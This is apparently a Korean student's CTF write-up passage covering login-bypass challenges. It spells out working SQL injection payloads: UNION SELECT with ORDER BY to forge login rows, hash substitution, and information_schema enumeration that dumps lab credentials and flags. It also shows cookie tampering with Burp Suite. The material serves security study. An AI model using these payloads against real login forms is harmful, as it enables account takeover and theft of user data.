을 실행하면 doldol의 계정 정보 밑에 1번 게시물의 제목과 작성자의 id가 덧붙여질 것이다.
id | pass |
doldol | dol1234 |
안녕하세요. | rara |
데이터를 뽑아올 테이블은 물론 컬럼 이름이 달라도 된다.
그래서 이 기법으로 다른 테이블의 데이터를 뽑아올 수가 있는 것이다.
대신 컬럼의 개수와 데이터 타입은 꼭 맞춰야 한다.
union select title from board where idx= 1
로 수정하여 실행하려 해도 SQL 문법 오류로 실행조차 할 수 없다.
id와 pass는 모두 문자열인데
union select문에 쓰인 컬럼 중 하나라도 정수 데이터 타입 등의
다른 데이터 타입을 가지고 있으면 이 또한 오류가 난다.
(근데 지금 1,2로 해보니까 된다. 뭐냐 이거. 문자열로 인식한 겨? int컬럼에 'ㅎㅎ'이렇게 입력해도 그러네..mysql이 그런 건가..?)
이처럼 컬럼 개수와 데이터 타입만 맞추면
어떤 데이터든 갖다 붙일 수 있다.
아래의 쿼리문도 가능하다는 뜻이다.
select id,pass from user where id ='doldol'
union select '1','2'
그럼 SQL은 이런 테이블을 만들어낸다.
id | pass |
doldol | dol1234 |
1 | 2 |
id에 1이라는 데이터가 추가되었고 pass에 2라는 데이터가 추가되었다.
없는 계정을 만들어낸 효과를 낸 것이다.
하지만 이대로면 위와 같은 테이블은 만들어져도 1,2의 데이터는 선택되지 않는다.
쿼리 실행 결과를 변수에 저장할 때는 첫 번째 행만 저장되기 때문이다.
(그러나 같은 쿼리를 또 실행하면 그 다음 행이 선택된다.)
(오 방금 확인해봤는데 로그아웃하면서 세션 데이터를 다 지워서 그런지 쿼리를 그대로 다시 실행한다고 로그인이 되지는 않는다. 그 다음 행이 추출되지 않은 모양이다. doldol로 로그인하고 url로 로그인 페이지에 돌아가 다시 해봐도 1,2의 데이터로 로그인할 수 없다! 세션의 영향일까..?)
그렇기 때문에 내가 추가한 계정 정보가 선택되게 하기 위해선
두 행의 순서를 바꿀 필요가 있다.
이때 필요한 것이 order by 구문이다.
ORDER BY [컬럼명 혹은 인덱스번호] [정렬방식]
#정렬방식 -> asc (오름차순), desc (내림차순)
#디폴트가 오름차순이므로 생략하면 오름차순 정렬됨
doldol' union select 1,2 order by 1#
을 아이디에 입력하면 서버는
select id,pass from user where id ='doldol'
union select 1,2 order by 1#
이라는 쿼리를 실행하게 되고
id | pass |
1 | 2 |
doldol | dol1234 |
이런 테이블을 만들어낸다.
서버의 쿼리문은 첫번째 행을 색출할 것이다.
이 결과에서 id를 저장하라 하면 1이 저장되는 것이고
비밀번호를 저장하라 하면 2가 저장되게 되는 것이다.
따라서 아이디 입력창에 doldol' union select 1,2 order by 1#
비밀번호 입력창에 2를 입력해 넣으면
난 1이라는 계정으로 로그인할 수 있게 된다.
하지만 그 전에 확실히 해두어야할 것이 있다.
서버에서 사용중인 컬럼의 개수와 id, pass가 각각 몇번째에 위치해있는지이다.
컬럼의 개수가 맞지 않으면 쿼리문은 실행되지 않고
id, pass컬럼에 맞는 데이터를 넣지 않으면
원하는 계정으로 로그인할 수 없기 때문이다.
order by 를 활용하여 컬럼의 개수를 알아낼 수 있다.
doldol' order by 1# / dol1234 로 로그인해서 성공하면 컬럼의 개수는 1개 이상이라는 뜻이다.
doldol' order by 5# / dol1234로 로그인해서 실패하면 컬럼의 개수는 5개 미만이라는 뜻이다.
그렇게 1부터 늘려서 로그인해본 결과, order by 3#에서 로그인이 실패했다.
컬럼의 총 개수는 2개라는 뜻이다.
이제 둘 중 어디가 아이디 컬럼이고 비밀번호 컬럼인지 알아낼 차례이다.
원래는 DB명부터 알아내야하지만 이 경우 간단하다.
컬럼 개수가 두개밖에 없기 때문에 일단 실험해보면 된다.
doldol' union select 1,2 order by 1#
2
로 로그인해본다.
1이라는 계정으로 로그인되면 아이디 컬럼이 첫번째에 위치한다는 뜻이다.
이로써 서버의 로직은 대충 이러하단 것이 밝혀졌다.
$sql = "SELECT id, pass FROM user WHERE id= '____'";
$result = mysqli_query($db_connection, $sql);
$row = mysqli_fetch_array($result);
$user_id = $row['id'];
$user_pass = $row['pass'];
if ($_POST['pass'] == $row['pass']) {
//로그인 성공
} else {
//로그인 실패
}
normaltic3으로 로그인하려면 어떤 값을 넣어야 할까?
그대로 사용하되 1부분에 'normaltic3'을 쓰고 2부분에 원하는 비밀번호를 쓰면 된다.
단, 이때 normaltic3은 문자열이기 때문에 작은 따옴표를 써줘야 문법 오류가 발생하지 않고
원하는 비밀번호는 doldol의 비밀번호인 dol1234보다 우선하는 값이어야
오름차순 정렬 시 doldol의 계정보다 위에 위치하게 된다.
(아이디를 기준으로 정렬할 수 있지만 이 경우 내림차순 정렬해야 normaltic3의 계정이 선택된다.)
뽀인트는 만들어낸 계정이 doldol의 계정보다 윗행에 오게 만드는 것이다.
위에서 이미 오름차순으로 정렬해보았으니 이번엔 내림차순을 이용하여 플래그를 얻어보자!
아이디: doldol' union select 'normaltic3','1234' order by 1 desc#
비번: 1234
id | pass |
normaltic3 | 1234 |
doldol | dol1234 |
$result에는 대충 이런 테이블이 저장될 것이고
이걸 fetch_array로 맨 위 한 행만 뽑아 $row에 저장한다.
여기서 pass에는 1234가 저장되어있으니 나도 비밀번호 입력창에 1234를 입력하면 된다.
그 결과 normaltic3으로 로그인 성공하여 플래그를 얻을 수 있었다.
근데 사실 이거 컨닝한 거다.
컨닝에 대하여
결론부터 말하자면 후회하고 있다.
생각에 생각을 거듭하면 배운 범위에서 충분히 단서를 발견할 만한 문제였기 때문이다.
변명해보자면 그때 나는 아닌 척 억눌러도 조바심을 느꼈던 것 같다.
어떻게 접근해야할지 감도 안 잡히는데 다른 사람들은 이미 다 풀고 다른 거 얘기하는 중이고
이와중에 달리 해야할 일들도 점점 쌓이고 있고.. 중심을 잡지 못했던 것 같다.
컨닝하고 난 뒤 이렇게도 접근할 수 있구나, 신기했지만 곧 후회스러웠다.
이거 6주차 수업 듣고 좀 더 생각해보면 나도 떠올려볼 만한 난이도였는데... 아까웠다.
말했듯이 이건 변명이다. 결국 나는 내가 얻을 수 있는 걸 포기하고 쉽고 빠른 길을 찾았던 것이다.
생활할 때 필요한 근육과 운동할 때 필요한 근육은 같지 않다.
그 운동을 해야만 단련되는 근육이 있다. 생각도 마찬가지다.
난 해킹할 때 쓰이는 근육을 포기해버린 것이다.. 해킹근손실....
지금은 생각한다. 내가 포기한 해킹근이 줠라게 아깝다.
다행으로 여겨야하는 것은 CTF는 앞으로도 많을 것이라는 점이다. 내가 만든 사이트도 있다.
앞으로 올 기회를 아깝지 않게 이용하려면 난 이 살짝쿵 개떡같은 감정을 잊어선 안된다.
생각할 기회를 기껍게 받아들이자.
머리가 아프면 해킹근 한번 요란하게 쌓이네, 하고 마음을 가다듬자.
그리고 기록하자!!!!
천천히 가도 된다. 이젠 내가 나한테 허락할 차례다.
♨ LOGIN BYPASS 4 ♨
normaltic4 계정으로 로그인하자!
(6주차 끄트머리가 풂)
나는 지금 doldol / dol1234
login bypass3 의 흐름과 추측 과정이 같음.
따라서 이것도 식별/인증 분리 케이스.
3번에서 했던 방식으로 했을 때 풀리지 않는 이유는 아마 비밀번호 해시 처리 때문이 아닐까 싶다.
이 경우 해시 처리를 어디서 했는지도 고려해야할 사항에 포함된다.
고려할 부분 (not korea)
1) 사용된 컬럼 개수
2) 컬럼 위치
3) 해시 처리의 위치
4) 해시 종류
확인 결과 사용된 컬럼은 3번 처럼 두 개인 것으로 생각되고
컬럼 위치는 아직 확인할 수 없으므로
해시 처리 위치와 함께 고려(not korea)해봐야 할 듯 싶다.
기본적으로 sha256으로 시도해볼 예정이고 다 해도 안되면 다른 해시로 시도해볼 것이다.
그 전에 일단 내 사이트에서 로그인이 성공하는지 실험해본다.
<내 사이트에서 테스트>
로그인 시 사용 중인 컬럼 개수: 6개
id 열: 2번째
해시된 비밀번호 열: 3번째
필요한 union 구문
haha' UNION SELECT 1, 'normaltic4','1234를 해시한 비번',4,5,6 order by __#
그럼 서버의 SELECT 문과 합쳐져
대충 이런 테이블이 결과로 나온다.
1 | haha | 해시된 비번 | haha@gmail.com | haha | 평문 비번 |
1 | normaltic4 | 우회할 비번 | 4 | 6 | 6 |
이때 비밀번호 비교 시 사용자가 입력한 비번은 해시될 것이기 때문에
우회할 비번도 미리 해시시켜서 두 데이터를 비교할 때 같다는 결과가 나오도록 한다.
그럼 테이블은 이렇게 된다.
1 | haha | 해시된 비번 | haha@gmail.com | haha | 평문 비번 |
1 | normaltic4 | 03ac67421.... | 4 | 6 | 6 |
이제 haha의 해시된 비번과 normaltic4의 해시된 비번 중 어느 것이 우선인지 확인한다.
order by 3으로 비교한 결과 normaltic4의 비번이 우선한다.
지금까지 얻은 정보로 조합한 union구문은 이렇다.
haha' UNION SELECT 1, 'normaltic4','03ac674216...',4,5,6 order by 3#
이 구문을 아이디에 입력하면 테이블은 이런 형태가 되고
1 | normaltic4 | 03ac67421.... | 4 | 5 | 6 |
1 | haha | 해시된 비번 | haha@gmail.com | haha | 평문 비번 |
가장 위에 있는 행인 normaltic4의 행이 출력될 것이다.
이제 비밀번호에 무엇을 써야할지만 남았다.
내 사이트의 경우 DB의 비밀번호와 비교할 때
사용자가 입력한 비밀번호 데이터를 해시처리 하고 있다.
if (hash("sha256",$pw) == $user_pw) { //여기
$_SESSION['id'] = $row['id'];
header("location: index.php");
exit;
} else {
$_SESSION['login_error'] = "아이디 또는 비밀번호가 일치하지 않습니다.";
header("location: login.php");
exit;
}
그래서 미리 해시처리를 하면 이상한 값이 되기 때문에
로그인 폼에는 해시 전의 데이터인 1234를 입력해야 두 데이터가 같다는 결과가 나온다.
(생각해보니 입력 비번을 어디서 해시하든 입력할 땐 해시 전으로 입력해야할 것 같다.)
결과적으로 입력해야하는 데이터는 이러하다.
haha' UNION SELECT 1,'normaltic4','03ac67421....',4,5,6 order by 3#
1234
이렇게 입력해서 제출하면 DB에 없는 normaltic4 계정으로 로그인이 가능할 것이다.
이제...CTF로 확인해볼 차례다..
<문제 풀기>
먼저 컬럼의 개수를 확인한다.
doldol' order by 3#
dol1234
입력 결과 로그인이 되지 않는다.
앞선 문제와 마찬가지로 서버에서 사용 중인 컬럼은 2개이다.
아마 id와 pass 컬럼일 것이다.
dol1234와 1234 중 오름차순 시 어떤 해시값이 먼저 오는지 확인한다.
확인 결과 dol1234는 haha의 비번보다도 아래에 온다.
해시된 비번을 기준으로 오름차순으로 정렬하면 normaltic4 데이터가 출력될 것이다.
우선 id, pass 순서일 거라는 가정하에 아래 쿼리를 입력한다.
doldol' union select 'normaltic4', '03ac67...' order by 2#
1234
...안된다..
normaltic4와 해시 비번의 위치를 바꿔 입력해본다..
이번엔 order by 1이다.
안된다...
혹시 몰라서 비밀번호의 작은 따옴표도 떼고 로그인해 보았지만 안된다.
아이디에 괄호가 있나..?
doldol') union select 'normaltic4','해시' order by 2#
1234 안됨
doldol)' union select 'normaltic4','해시' order by 2#
1234 안됨 (이건 원래 안됨)
로그인 로직 케이스를 정리해보자..
1) 식별인증 동시 -> doldol'# 안됨. 아님
2) 식별인증 동시 개행 -> doldol' or '1'='1 / qwer 안됨. 아님
3) 식별인증 동시 괄호 -> doldol')# 안됨. 아님
4) 식별인증 동시 개행 괄호 -> doldol / qwer' or '1'='1 안됨.
doldol') or '1'='1'# / qwer 안됨. 아님
5) 식별인증 동시 해시 -> doldol'# 안됨. 아님
6) 식별인증 동시 개행 해시 -> doldol' or '1'='1 / qwer 안됨. 아님
7) 식별인증 동시 괄호 해시 -> doldol')# 안됨. 아님
8) 식별인증 동시 개행 괄호 해시 -> doldol') or '1'='1'# / qwer 안됨. 아님
9) 식별인증 분리 -> doldol' union select 'normaltic4','0123' order by 2# / 0123 안됨. 아님
10) 식별인증 분리 괄호 -> doldol') union select 'normaltic4','0123' order by 2# / 0123 안됨. 아님
11) 식별인증 분리 해시
-> doldol' union select 'normaltic4','03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4' order by 2# / 1234 아까 했더니 안됨.
12) 식별인증 분리 괄호 해시
-> doldol') union select 'normaltic4', '03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4' order by 2# / 1234 얘도 아까 함!!!!
sha256이 아닐지도..?
sha512
-> doldol' union select 'normaltic4','0602611a56f977501462561aacb2f3d57af108c43f5983bc73f26de2129c30fa3aa12da49cd144e800b9a0c378e60c2ec858475aed4579067985ea1bed2f3fb1' order by 2# / ttt 안됨..
-> doldol' union select '0602611a56f977501462561aacb2f3d57af108c43f5983bc73f26de2129c30fa3aa12da49cd144e800b9a0c378e60c2ec858475aed4579067985ea1bed2f3fb1', 'normaltic4' order by 1# / ttt 안됨.
악
잠깐 다시 다시,
서버에서 사용 중인 컬럼은 총 2개.
doldol' union select 1,2 order by 1# / 2 입력 시
로그인 안됨. id, pass가 아니라 pass, id일 경우를 생각해 비번에 1 입력해도 로그인 안됨.
union select 1,2는
doldol | dol1234 |
1 | 2 |
이렇게 만들고 order by 1은
1 | 2 |
doldol | dol1234 |
이렇게 바꾸니까 맨 처음 행을 추출해서 1행에 맞는 비번값을 입력하면 로그인이 되어야함.
근데 안된단 말임?
그래서 아 이거 해시다ㅋ 했건만...
식별 인증 분리 + 해시가 맞으면
doldol' union select '1', '03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4' order by 1# / 1234
를 입력했을 때 1로 로그인이 되어야 함. (저 긴 문자열는 2를 sha256으로 해싱한 값임)
안됨!!!
doldol' union select '03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4', '1' order by 2# / 1234
를 입력해도 안됨..ㅠ
doldol')로 해도 안됨!
MD5로 해볼까?
doldol' union select '1', '0cc175b9c0f1b6a831c399e269772661' order by 1# / a
헉...
됐다...
됐다!!!!!!!!!
1열이 id, 2열이 비번이다!!!!!!!!!!
이제 노말틱4로 로그인만 하면 됨..!!!!!!!
아이디 열 위치에 normaltic4만 쏙 넣고 로그인하면!!!!
doldol' union select 'normaltic4', '0cc175b9c0f1b6a831c399e269772661' order by 1# / a
안됨.
왜냐면 한영키가 눌렸기 때문임~~!!~!~!
now will be success
안됨. 아~! order by 1로 하고 있었잖아~~~
doldol' union select 'normaltic4', ' 0cc175b9c0f1b6a831c399e269772661' order by 2# / a
왜 안됨?
노말틱4가 계정이 있나? 상관 없지 않나..?
dol1234의 MD5해시 결과는 fe350b2ff979b0e0ea1844ed644ecafe 이거라 우선순위가 높은 것도 아닌 것 같은데..
아!!!!!!!!
' 0cc175b9c0f1b6a831c399e269772661' 앞에 공백이 있잖아!!!!!!!!
doldol' union select 'normaltic4', '0cc175b9c0f1b6a831c399e269772661' order by 2# / a
흑흑...
♨ LOGIN BYPASS 5 ♨
normaltic5 계정으로 로그인하자!
나는 지금 doldol / dol1234
위와 동일. (젠장)
같은 문제 때문에 나아가지 못하는 느낌이다...
는 개뿔 이거 풀 수 있음.
< 흐름 >
index 페이지 요청 -> 응답 코드 302, login.php로 리디렉션
-> login.php 요청 -> 응답 코드 200, login.php 페이지 줌
-> UserId=doldol&Password=dol1234&Submit=Login을 POST 방식으로 전송
-> (login.php에서 사용자 확인 후) 응답 코드 302, Set-Cookie: loginUser=doldol 주고 index.php로 리디렉션
-> 쿠키에 loginUser=doldol 가지고 index.php 요청 -> 응답 코드 200, index.php 페이지 줌
-> 잘못된 로그인 데이터 POST 방식으로 php코드에 전송
-> 응답 코드 200, 경고문 출력
< 답 >
1) 돌돌이로 로그인한 상태에서 버프 스위트의 intercept를 킨다.
2) 돌돌이로 로그인한 페이지를 새로고침 한다.
3) 막힌 요청 패킷에서 쿠키를 확인하고 loginUser=normaltic5 로 변조한다.
4) 보낸다.
5) 플래그를 확인한다.
플래그 이름이..... 가뭄의 단비와 같다.(또르륵)
참고로
doldol' and '1'='1
dol1234
로 로그인이 되어서 sql injection도 가능하리라고 본다.
근데 이렇게 하면 난 또 못 풀어....
♨ SECRET LOGIN ♨
관리자 계정으로 로그인하자!
그런데 관리자 계정이 뭔지 모른다?!
(못 ㅠ 풂 ㅠ)
나는 지금 doldol / dol1234
이 문제는 조금 다르다.
SELECT 컬럼명 FROM member WHERE id = '____' AND pw = '____'; 일 경우
예상 쿼리 문법이다.
doldol'# 로는 로그인이 성공했기 때문.
근데 normaltic6'# 은 안된다. normaltic5까지만 있는 듯.
그래서 혹시나하고 내가 못 푼 normaltic3,4로 로그인해서 login bypass3,4에 접속해봤는데 세에상에~~~
역시나 안 나온다.
admin으로도 해봤는데 admin이라는 계정은 없는 건지 로그인이 안되었다.
아무튼 이 방법으로 DB에 있는 계정이라면 다 로그인할 수 있다.
그니까 관리자 계정을 찾는 것부터가 문제의 시작인 것이다.
확실히 하려면 결국 DB 데이터를 털어야한다.
이렇게 제자리로 돌아왔다.. 따흑
5주차에 내가 발린 결과이고 여기서 수정을 더해갈 예정이다.
______________DB 털기 ↓
서버에서 사용하는 컬럼 개수: 6개
doldol' union select 1,database(),3,4,5,6 order by 1# / 3
입력 결과 User Id : 3 나옴. id는 컬럼3에 있음.
doldol' union select 1,2,database(),4,5,6 order by 1# / 3
입력결과 segFault_sqli 발견 근데 비번에 3 넣는데 왜 되냐.. 아 맞다 식별인증 동시구나..
doldol' union select 1,2,table_name,4,5,6
from information_schema.tables
where table_schema=database()
order by 1# / q
입력결과
1) flag_table
2) login1
3) login2
4) user_info
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='flag_table'
order by 1# / q
flag_table의 컬럼
1) stage
doldol' union select 1,2,stage,4,5,6
from flag_table order by 1# / w
stage 데이터
1) normaltic2
2) normaltic3
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='login1'
order by 1# / q
login1의 컬럼
1) user_type
2) pass
doldol' union select 1,2,concat(user_type,";",pass),4,5,6
from login1 order by 1# / q
user_type과 pass 데이터
1) flag;tmhokjowejf3fdwd
2) user;dol1234
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='login2'
order by 1# / q
login2 컬럼
1) user_type
2) pass
doldol' union select 1,2,concat(user_type,";",pass),4,5,6
from login2 order by 1# / q
user_type과 pass의 데이터
1) user;prettycute
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='user_info'
order by 1# / q
user_info 컬럼
1) name
doldol' union select 1,2,name,4,5,6
from user_info order by 1# / q
name 데이터
1) marioCandy
2) MorningCoffee
flag_table | login1 | login2 | user_info | ||
stage | user_type | pass | user_type | pass | name |
normaltic2 | flag | tmhokjowejf3fdwd | user | prettycute | marioCandy |
normaltic3 | user | dol1234 | MorningCoffee |
돌돌이가 없는데 이 DB 쓰는 거 맞나?
normaltic5까지는 DB에 있어야 하는 거 아닌가?!
______이 DB가 아닌 것 같아서 다른 DB도 털기 ↓
이 서버의 모든 DB
doldol' union select 1,2,group_concat(schema_name separator " , "),4,5,6 from information_schema.schemata where schema_name not in('information_schema','mysql') order by 1#
=> classicmodels , employees , login_system , performance_schema , segFault_sqli , sys
____classicmodels ↓
클래식모델스의 테이블
doldol' union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema='classicmodels' order by 1#
=> doldol (?) 그냥 로그인된 듯함. 데이터가 없거나 막혀있거나.
혹시나 해서 돌돌의 컬럼
doldol' union select 1,2,column_name,4,5,6 from information_schema.columns where table_schema='classicmodels' and table_name='doldol' order by 1#
=> doldol ㅋㅋㅋㅋㅋㅋ
classicmodels , employees , login_system , performance_schema , segFault_sqli , sys
____employees ↓
임플로이스의 테이블
doldol' union select 1,2,group_concat(table_name separator " , "),4,5,6 from information_schema.tables where table_schema='employees' order by 1#
=> current_dept_emp , departments , dept_emp , dept_emp_latest_date , dept_manager , employees , salaries , titles
커런트 뎁트 임프의 컬럼
doldol' union select 1,2,group_concat(column_name separator " , "),4,5,6 from information_schema.columns where table_schema='employees' and table_name='current_dept_emp' order by 1#
=> emp_no , dept_no , from_date , to_date
커런트 뎁트 임프의 데이터
doldol' union select 1,2,concat(emp_no," - ",dept_no," - ",from_date," - ",to_date),4,5,6 from employees.current_dept_emp order by 1#
=> doldol 쎄하다..
임플로이스의 컬럼
doldol' union select 1,2,group_concat(column_name separator " , "),4,5,6 from information_schema.columns where table_schema='employees' and table_name='employees' order by 1#
=> emp_no , birth_date , first_name , last_name , gender , hire_date
임플로이스의 데이터...
doldol' union select 1,2,concat(emp_no," - ",birth_date," - ",first_name," - ",last_name, " - ",hire_date),4,5,6 from employees.employees order by 1#
=> doldol
classicmodels , employees , login_system , performance_schema , segFault_sqli , sys
____login_system ↓
로그인 시스템의 테이블
doldol' union select 1,2,group_concat(table_name separator " , "),4,5,6 from information_schema.tables where table_schema='login_system' order by 1#
=> login1 , login2 , user
로그인1의 컬럼
doldol' union select 1,2,group_concat(column_name separator " , "),4,5,6 from information_schema.columns where table_schema='login_system' and table_name='login1' order by 1#
=> id , pass , name , phone , email , user_type
(로그인2, 유저 테이블도 동일)
컬럼3에 있는 게 id가 아니라 name인 거 보니 name으로 표시되나봄.
서버의 쿼리문은 아마
SELECT id, pass, name, phone, email, user_type FROM _____ WHERE id='____' and pass='_____';
아니 근데 DB를 찾을 때 왜 segFault_sqli가 나오냐고. login_system이 나와야지!
로그인1의 데이터
doldol' union select 1,2,concat(id, " - ",pass," - ",name," - ", user_type),4,5,6 from login_system.login1 order by 1#
normaltic5 - tiiiewkfowekfo - normaltic5 - flag 아님
normaltic3 - tmhokjowejf3fdwd - normaltic3 - flag 아님
normaltic2 - brjgirjeigjweij - normaltic2 - flag 아님
normaltic1 - kobooekf - normaltic1 - flag 아님
normaltic - hardpassword1018 - normaltic - admin 아님
normaltic4 - oieoeonvijed - normaltic4 - flag 아님
로그인2의 데이터
doldol' union select 1,2,concat(id, " - ",pass," - ",name," - ", user_type),4,5,6 from login_system.login2 order by 1#
mario - 66566cbac5673baf9217ccf7fcfa3d15 - mario - user 아님
normaltic - 098F6BCD4621D373CADE4E832627B4F6 - normaltic - admin 아님
normaltic4 - D6615C6B05E04F8276A884F9A16C2FE5 - normaltic4 - admin 아님
유저의 데이터
doldol' union select 1,2,concat(id, " - ",pass," - ",name," - ", user_type),4,5,6 from login_system.user order by 1#
auser , newUser , normaltic
auser - 9999 - testuser - user 아님
newUser - 8181 - MARIO - user 아님
normaltic - test1018 - normaltic - admin 아님
____사전대입(인지 크레덴셜 스터핑인지) ↓
지금까지 찾은 아이디 비번 다 넣고 경우의 수 돌렸는데 인덱스로 302 뜨는 것 중에 플래그 있는 게 업슴..
돌돌이는 대체 어디 있는가!
왜 다른 테이블의 데이터로도 로그인이 되는가!!
지금 보니까 limit말고 order by로 해서 여러번 입력했던 것 같은데 이번엔 limit로 확실히 찾아보자.
LIMIT 적용
1) 현재 db에 있는 테이블들
doldol' union select 1,2,table_name,4,5,6
from information_schema.tables
where table_schema=database()
limit 1,1# / q
결과: book_info, flag_table, login1, login2, user_info
2) bokk_info의 컬럼과 데이터
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='book_info'
limit 1,1# / q
컬럼: book_idx, title, author, date, category, price, score
doldol' union select 1,2,concat(book_idx, " - ", title, " - ", author, " - ", date, " - ", category, " - ", price, " - ", score),4,5,6
from book_info limit 1,1# / w
데이터:
1 - ???? ???? - ??? - 2021-11-12 - ?? ?? - 20000 - 2
2 - ?? ??? ?? - ??? - 2020-04-03 - ??? - 12000 - 3
3 - ? ??? ?? - ??? - 2018-05-05 - ???? - 13000 - 4
4 - ??? - ??? - 2011-11-11 - ??? - 9000 - 3
3) flag_table의 컬럼과 데이터
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='flag_table'
limit 1,1# / q
컬럼: flag, stage
doldol' union select 1,2,concat(flag, " - ", stage),4,5,6
from flag_table limit 1,1# / w
데이터:
여기서 플래그 발견했는데 5주차 모든 ctf의 플래그 + 7주차 기준 처음보는 플래그도 있어서 일단 접은글 표시 해둔다.
segfault{byPassWithSQLi} - normaltic1
segfault{FilterWhat?!} - normaltic2
segfault{UniUniONONON} - normaltic3
segfault{H4shBrown} - normaltic4
segfault{C00kiesYummy} - normaltic5
segfault{secretMagic!} - secret_acc
SegFault{No_System_Is_Safe} - xxx
__________(플래그 발견)
근데 이거... 이게 맞나..? 관리자 계정이랑 상관 없는 느낌...... ??????
ㄹㅇ 건드리면 안되는 데이터를 털어버린 느낌?!
4) login1의 컬럼과 데이터
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='login1'
limit 1,1# / q
컬럼: id, pass, name, phone, email, user_type,
doldol' union select 1,2,concat(id, " - ", pass, " - ", phone, " - ", email, " - ", user_type),4,5,6
from login1 limit 1,1# / w
데이터:
1ogin_acc - vr9eif9wi - 010-3333-2222 - test@twes.com - user
5ecret_acc0unt - gjijfweijfiqwh38h - 010-1313-1313 - test@test.com - user
(얘로 로그인 하니까 플래그 나옴. 이렇게 해야하는 거였나봄. 그럼 저 flag_table은 뭐지....)
bello - prettycute - 010-2222-4455 - bello@normaltic.com - user
doldol - dol1234 - 010-2222-3333 - doldol@test.com - user
(돌돌아!!!!!!!!)
mario - mariosuper - 010-3434-1111 - mario@normaltic.com - user
normaltic - hardpassword1018 - 010-1111-2222 - normaltic@normaltic.com - admin
normaltic1 - kobooekf - 010-1111-2222 - sdfsdf@fdsf.com - flag
normaltic2 - brjgirjeigjweij - 010-1111-2222 - sdfsdf@fdsf.com - flag
normaltic3 - tmhokjowejf3fdwd - 010-1111-2222 - sdfsdf@fdsf.com - flag
normaltic4 - oieoeonvijed - 010-1111-2222 - sdfsdf@fdsf.com - flag
normaltic5 - tiiiewkfowekfo - 010-1111-2222 - sdfsdf@fdsf.com - flag
5) login2의 컬럼과 데이터
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='login2'
limit 1,1# / q
컬럼: id, pass, name, phone, email, user_type
doldol' union select 1,2,concat(id, " - ", pass, " - ", phone, " - ", email, " - ", user_type),4,5,6
from login2 limit 1,1# / w
데이터:
bello - prettycute - 010-2222-4455 - bello@normaltic.com - user
doldol - fe350b2ff979b0e0ea1844ed644ecafe - 010-3333-2222 - doldol@test.com - user
hidden_account - 83fb5d15cb92720d5410974fe2140390 - 010-3333-2222 - secret@secret.com - Super
(얘는 함정인듯)
mario - 66566cbac5673baf9217ccf7fcfa3d15 - 010-3434-1111 - mario@normaltic.com - user
normaltic - 098F6BCD4621D373CADE4E832627B4F6 - 010-1111-2222 - sdfdsf@normaltic.com - admin
normaltic4 - D6615C6B05E04F8276A884F9A16C2FE5 - 010-1111-2222 - normaltic@normaltic.com - admin
6) user_info의 컬럼과 데이터
doldol' union select 1,2,column_name,4,5,6
from information_schema.columns
where table_name='user_info'
limit 1,1# / q
컬럼: id, name, password, level, rank_point, rate
doldol' union select 1,2,concat(id, " - ", name, " - ", password, " - ", level, " - ", rank_point, " - ", rate),4,5,6
from user_info limit 1,1# / w
데이터:
ACoffee - MorningCoffee - 97dhuueokkd!@ - 33 - 2100 - 35
bello - MiniBello - marioLove - 93 - 5200 - 98
mario - marioCandy - Candy8282 - 23 - 1700 - 4
normaltic - SuperNormaltic - normal12345 - 75 - 3200 - 89
데이터를 털 땐 limit를 잘 활용하자.
그리고 union도 자동화하려면 할 수 있을 것 같다.
'모의해킹 스터디 과제' 카테고리의 다른 글
모의해킹 스터디 7주차 과제(1): CTF - Error-Based SQLi (0) | 2024.12.03 |
---|---|
모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection (2) | 2024.11.29 |
모의해킹 스터디 4주차 과제(1): 자바 스크립트 (1) | 2024.11.11 |
모의해킹 스터디 3주차 과제: 로그인 케이스 (0) | 2024.11.05 |
모의해킹 스터디 2주차 과제: 회원가입 페이지, 로그인 DB 연동 (0) | 2024.11.01 |